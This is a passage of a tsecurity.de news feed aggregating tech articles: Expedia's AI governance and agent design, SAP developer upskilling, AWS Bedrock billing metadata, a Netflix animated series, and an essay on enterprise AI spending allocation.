<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prompt Engineering Isn’t Enough: How Four Bricks of Context Engineering Stop RAG Hallucinations]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #9bis] - Your RAG isn’t hallucinating, it’s answering the wrong context faithfully. On real NIST and World Bank documents, watch each of the four bricks break, and the contract that closes it
The post Prompt Engineering Isn’t Enough: How Four Bricks of Cont...]]></description>
<link>https://tsecurity.de/de/3684373/ai-nachrichten/prompt-engineering-isnt-enough-how-four-bricks-of-context-engineering-stop-rag-hallucinations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684373/ai-nachrichten/prompt-engineering-isnt-enough-how-four-bricks-of-context-engineering-stop-rag-hallucinations/</guid>
<pubDate>Tue, 21 Jul 2026 18:35:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #9bis] - Your RAG isn’t hallucinating, it’s answering the wrong context faithfully. On real NIST and World Bank documents, watch each of the four bricks break, and the contract that closes it</p>
<p>The post <a href="https://towardsdatascience.com/prompt-engineering-isnt-enough-how-four-bricks-of-context-engineering-stop-rag-hallucinations/">Prompt Engineering Isn’t Enough: How Four Bricks of Context Engineering Stop RAG Hallucinations</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation]]></title>
<description><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances...]]></description>
<link>https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances, improvisation, and emotional storytelling ahead of its August 7, 2026 premiere.



The six-episode series follows a gang of foul-mouthed feral cats trying to survive while navigating everyday life in a harsh human world. Alongside its sharp humor, the show also explores friendship, grief, and mortality through the lives of its feline characters.



Ricky Gervais Wanted to Change How Animated Shows Are Made



According to Gervais, the biggest difference with Alley Cats came before the animation even started.



Instead of recording each actor separately in a sound booth, he insisted on bringing the entire cast together for every episode. The group performed scenes at the same time, allowing conversations to flow naturally and giving actors room to interrupt, react, and improvise.



Gervais explained that each recording session lasted far longer than the final episode. With nearly two hours of material recorded for a 15-minute episode, the creative team could choose the funniest moments while keeping performances spontaneous and realistic.



He believes that "audio is king" in animation, and the visuals should support the performances instead of limiting them.



Improvisation Created Some Wild Moments



That recording style led to plenty of unexpected comedy.



Diane Morgan revealed that many improvised jokes became far too outrageous to make the final cut. She credited fellow cast member David Earl for pushing scenes into completely unpredictable territory, often forcing the team to stop and ask whether certain jokes could actually stay in the series.



Those sessions helped create conversations that sound less scripted and more like friends talking naturally.



A Cast Built Around British Comedy



Gervais described the voice cast as the "Avengers of British comedy" because he wrote many characters specifically for actors he has worked with before.



Tom Basden voices Ponce, a well-kept house cat whose education and manners constantly clash with the rough street cats around him. Basden says Ponce often acts like an outsider while secretly understanding the softer side of Gus, voiced by Gervais.



Diane Morgan plays Olive, a cheerful but not particularly bright cat whose simple outlook adds another layer of comedy. Morgan joked that Olive quickly loses interest in Ponce after learning one unexpected detail about him.



Comedy With Genuine Emotion



Although Alley Cats promises plenty of crude jokes, Gervais says the series also explores emotional themes that have appeared throughout his previous work.



One important storyline follows the group caring for a lost kitten while confronting the reality of death for the first time. Gervais explained that childhood memories about losing pets inspired those scenes and shaped the emotional core of the series.



Morgan said viewers may expect nothing more than "sweary cats," but the show eventually delivers emotional moments that stay with the audience. Basden added that the story also looks at humanity's relationship with nature and the uncertainty every living creature faces.



Music and Release Date



The soundtrack will include songs from Cat Stevens, Coldplay, and Van Halen. Gervais also confirmed that The Smiths' classic "There Is a Light That Never Goes Out" appears in the series after both Morrissey and Johnny Marr approved its use, with Marr donating his licensing fee to an animal charity.



Alley Cats premieres globally on Netflix on August 7, 2026. The adult animated sitcom has already generated strong interest following its Annecy Festival preview, where audiences received an early look at the first two episodes.]]></content:encoded>
</item>
<item>
<title><![CDATA[SAP developers face education debt, user group warns]]></title>
<description><![CDATA[Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.



The user association urges CIOs to treat the continuing ...]]></description>
<link>https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</guid>
<pubDate>Tue, 21 Jul 2026 17:50:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.</p>



<p class="wp-block-paragraph">The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new <a href="https://impulsant.dsag.de/wp-content/uploads/2026/07/CIO-Upskilling.pdf" target="_blank" rel="noreferrer noopener">report on upskilling</a> [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.</p>



<h2 class="wp-block-heading">Outdated expertise becomes a project risk</h2>



<p class="wp-block-paragraph">As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and <a href="https://www.cio.com/article/189599/sap-doubles-down-on-citizen-developer-strategy.html#:~:text=There%E2%80%99s%20also%20a,cloud%2C%E2%80%9D%20says%20Mueller.">ABAP Cloud</a>.</p>



<p class="wp-block-paragraph">In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.</p>



<p class="wp-block-paragraph">The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.</p>



<h2 class="wp-block-heading">Skill building must start before the project</h2>



<p class="wp-block-paragraph">The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.</p>



<p class="wp-block-paragraph">But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.</p>



<h2 class="wp-block-heading">AI no replacement for developer expertise</h2>



<p class="wp-block-paragraph">While <a href="https://www.cio.com/article/4197428/sap-study-ai-pays-off-but-governance-is-lagging-behind.html">AI tools can generate and explain code</a>, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.</p>



<p class="wp-block-paragraph">The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.</p>



<h2 class="wp-block-heading">DSAG’s five recommendations</h2>



<p class="wp-block-paragraph">DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:</p>



<ul class="wp-block-list">
<li>defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,</li>



<li>providing suitable sandbox and test environments,</li>



<li>mandatorily including training time in capacity planning,</li>



<li>coordinating training schedules with migration and modernization projects, and</li>



<li>using existing DSAG guidelines as a reference framework for development.</li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4199470/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



